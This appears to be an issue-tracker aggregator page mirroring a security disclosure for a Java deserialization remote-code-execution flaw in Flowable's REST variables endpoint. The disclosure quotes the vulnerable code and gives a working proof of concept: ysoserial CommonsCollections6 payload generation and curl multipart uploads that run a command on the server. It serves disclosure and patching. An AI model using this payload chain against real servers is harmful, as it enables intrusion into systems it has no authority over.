[SECURITY] Deserialization RCE via PUT /runtime/executions/{executionId}/variables with type=serializable (CWE-502, CVSS 8.8)
Nadie ha tomado este issue todavía.
Evaluación
- Dificultad
- 5/5
- Tiempo estimado
- Más de una semana
- Aptitud para principiantes
- 20/100
Línea de trabajo
The vulnerability is in modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/process/BaseExecutionVariableResource.java lines 162-166, where ObjectInputStream.readObject() is called without validation. Start by examining the property 'rest.variables.allow.serializable' and the setBinaryVariable method. A fix likely involves adding an ObjectInputFilter or disabling deserialization by default. Testing requires understanding Java serialization and security patches.
Escrito por el modelo de indexación a partir del texto del issue.
Descripción
Flowable REST ExecutionVariableResource PUT Deserialization RCE
Summary
In the Flowable REST module, the ExecutionVariableResource provides a PUT /runtime/executions/{executionId}/variables/{variableName} endpoint that supports uploading binary variables via multipart/form-data. When the request parameter type=serializable, the server directly feeds the user-uploaded file byte stream to java.io.ObjectInputStream.readObject() for deserialization, with no whitelist / class name validation / ObjectInputFilter. An attacker with any basicAuth credentials can construct a malicious serialized byte stream (e.g., ysoserial CommonsCollections6 gadget chain) to trigger arbitrary code execution on the Flowable server. This is triggerable under default configuration (rest.variables.allow.serializable defaults to true).
Affected Version & Commit
- Repository: https://github.com/flowable/flowable-engine
- Branch: main
- Commit: c72f39686367261f839ff1239be86d9fad10cb6f
Vulnerability Description
Trigger Location
modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/process/BaseExecutionVariableResource.java:162-166
} else if (isSerializableVariableAllowed) {
// Try deserializing the object
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject(); // <-- deserialization sink
setVariable(execution, variableName, value, scope, isNew, false);
stream.close();
}
Data Flow
- HTTP PUT enters
ExecutionVariableResource.updateVariable(ExecutionVariableResource.java:98) executionIdis queried from the database viagetExecutionFromRequestWithoutAccessCheck, obtaining anExecutionobject- The request is multipart, hitting the
request instanceof MultipartHttpServletRequestbranch, callingsetBinaryVariable(request, execution, false, false) setBinaryVariableparses form parametersname/type/scope, validatestypeis onlybinaryorserializable- When
typeisserializableandisSerializableVariableAllowed == true(default), executesObjectInputStream stream = new ObjectInputStream(file.getInputStream()); Object value = stream.readObject();— the attacker-controlled file byte stream directly triggers the deserialization sink - After deserialization, calls
setVariable(...)to store the deserialized object as a runtime variable
Configuration Switch (Enabled by Default)
BaseExecutionVariableResource.java:70:
isSerializableVariableAllowed = env.getProperty("rest.variables.allow.serializable", Boolean.class, true);
Default value is true, meaning the deserialization path is directly reachable under default configuration.
Affected Endpoints
PUT /runtime/executions/{executionId}/variables/{variableName}(port 8080, flowable-rest module)
Exploitation Conditions
| Condition | Description |
|---|---|
| Authentication | Requires basicAuth regular user credentials (any registered user, no admin required) |
| Network reachability | Network reachable (HTTP REST endpoint) |
| Configuration dependency | rest.variables.allow.serializable defaults to true |
| Other prerequisites | Target executionId must exist (can enumerate via GET /runtime/executions); classpath contains CommonsCollections 3.2.2 |
Proof of Concept
Step 1: Generate ysoserial CommonsCollections6 payload
java --add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections6 'touch /tmp/pwned_entry_0609' > cc6_payload.ser
Step 2: Trigger deserialization via PUT multipart request
rm -f /tmp/pwned_entry_0609
curl -s -u rest-admin:test \
-X PUT \
"http://localhost:8080/flowable-rest/service/runtime/executions/0332a888-8fff-11f1-a444-02423661ba3a/variables/evil_var2" \
-F "file=@cc6_payload.ser" \
-F "name=evil_var2" \
-F "type=serializable" \
-F "scope=global"
Returns HTTP 200:
{
"name": "evil_var2",
"type": "serializable",
"value": null,
"valueUrl": "http://localhost:8080/flowable-rest/service/runtime/executions/0332a888-8fff-11f1-a444-02423661ba3a/variables/evil_var2/data",
"scope": "global"
}
Step 3: Verify RCE file landed
ls -la /tmp/pwned_entry_0609
# -rw-r----- 1 root root 0 Aug 4 12:25 /tmp/pwned_entry_0609
Step 4: Second verification (different variableName)
java ... -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/pwned_entry_0609_second_proof' > cc6_second.ser
curl -s -u rest-admin:test \
-X PUT \
"http://localhost:8080/flowable-rest/service/runtime/executions/0332a888-8fff-11f1-a444-02423661ba3a/variables/put_rce_id" \
-F "file=@cc6_second.ser" \
-F "name=put_rce_id" \
-F "type=serializable" \
-F "scope=global"
# HTTP 200
ls -la /tmp/pwned_entry_0609_second_proof
# -rw-r----- 1 root root 0 Aug 4 12:26 /tmp/pwned_entry_0609_second_proof
Two different filenames were both created on the Flowable server filesystem, proving the deserialization chain fully triggers the CommonsCollections6 gadget at ObjectInputStream.readObject(), achieving arbitrary command execution.
Exploitation Chain Progress
| Chain Stage | Location (file:line) | Status | Evidence / Notes |
|---|---|---|---|
| Entry PUT endpoint | ExecutionVariableResource.java:97-98 | ✅ Connected | HTTP 200 returns JSON |
| Multipart branch | ExecutionVariableResource.java:103-104 | ✅ Connected | request instanceof MultipartHttpServletRequest matched |
| Type validation | BaseExecutionVariableResource.java:144-147 | ✅ Bypassed | type=serializable is in whitelist |
| Deserialization sink | BaseExecutionVariableResource.java:164-165 | ✅ Triggered | ObjectInputStream.readObject() no whitelist/filter |
| Conclusion | — | ✅ Full chain closed | /tmp/pwned_entry_0609 file created, RCE successful |
Impact
An attacker with any basicAuth credentials can upload a ysoserial malicious serialized stream to the Flowable REST endpoint via a single multipart PUT request, triggering server-side RCE under default configuration. Two independent tests both successfully created files, demonstrating stable and reproducible exploitation.
Severity
CVSS v3.1: 8.8 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-502 (Deserialization of Untrusted Data)
Credit
- Jiecub3 (GitHub ID: 87791178)
- Aur0ra-m (GitHub ID: 103031059)
- lz2y (GitHub ID: 55266300)
- Lenguaje dominante
- Java
- Estrellas
- 9.6k
- Forks
- 2.9k
- Merge medio
- 1 h 9 min
- PR fusionados (30 d)
- 2
Preparar el entorno
- Sin Dockerfile ni archivo de Docker Compose
- Tiene una plantilla de pull request
- Sin guía de contribución
Primeros pasos
- Lee el issue completo y luego la guía de contribución del proyecto.
- Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
- Haz un fork del repositorio y trabaja en una rama.
- Abre un pull request que haga referencia al número del issue.
Más de flowable/flowable-engine
-
Dificultad 1/5 Menos de una hora Aptitud para principiantes 88/100
flowable/flowable-engine#4268 ·
-
Dificultad 5/5 Más de una semana Aptitud para principiantes 30/100
flowable/flowable-engine#4293 ·
-
Dificultad 4/5 3-5 días Aptitud para principiantes 35/100
flowable/flowable-engine#4292 ·
-
Dificultad 5/5 Más de una semana Aptitud para principiantes 30/100
flowable/flowable-engine#4291 ·
-
Dificultad 4/5 3-5 días Aptitud para principiantes 48/100
flowable/flowable-engine#4290 ·
Todos los issues de flowable/flowable-engine
Issues similares
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 88/100
Los mantenedores suelen responder en 1 día
-
Dificultad 1/5 Menos de una hora Aptitud para principiantes 88/100
apache/arrow-java#1311 ·
Los mantenedores suelen responder en 2 días
-
bug triage
Dificultad 2/5 1-3 horas Aptitud para principiantes 85/100
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 88/100
Los mantenedores suelen responder en 1 día
-
security
Dificultad 2/5 1-3 horas Aptitud para principiantes 65/100
IBM/networking-java-sdk#204 ·